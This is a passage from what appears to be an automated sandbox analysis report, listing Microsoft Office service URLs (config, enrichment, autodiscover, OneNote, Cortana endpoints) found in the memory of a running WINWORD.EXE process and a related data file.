Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/6
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://augloop.office.com
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://augloop.office.com/v2
Source: WINWORD.EXE, 00000001.00000003.417996939.00000000109AE000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292292706.00000000109AE000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571413486.00000000109AE000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://augloop.office.comi
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571452806.0000000010A0E000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415190999.0000000010A0A000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://autodiscover-s.outlook.com/
Source: WINWORD.EXE, 00000001.00000002.569040396.000000000CF4F000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://cdn.entity.
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: WINWORD.EXE, 00000001.00000002.571191483.0000000010861000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417530932.0000000010865000.00000004.00000001.sdmp String found in binary or memory: https://clients.config.office.net
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://clients.config.office.net/
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey(
Source: WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://cloudfiles.onenote.com/upload.aspxXK
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://config.edge.skype.com
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://config.edge.skype.com/config/v1/OfficeQLL
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://config.edge.skype.com/config/v2/OfficeaK
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://cortana.ai
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://cortana.ai/api
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://cortana.ai:$
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://cortana.aietl
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://cr.office.com
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://dataservice.o365filtering.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.com#
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.com(
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://dataservice.o365filtering.com/
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.com:7P
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.comO
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.comn
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.comx7
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileK
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: WINWORD.EXE, 00000001.00000002.569111011.000000000CFC2000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies6
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://dev.cortana.ai
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://devnull.onenote.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://devnull.onenote.comedOw
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://directory.services.
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://ecs.office.com/config/v2/Office75
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://enrichment.osi.office.net/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net//8E
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/F7
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v11Q
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v16
Source: WINWORD.EXE, 00000001.00000002.569040396.000000000CF4F000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/W
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.jsonv
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtmlG
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtmlP
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/Url
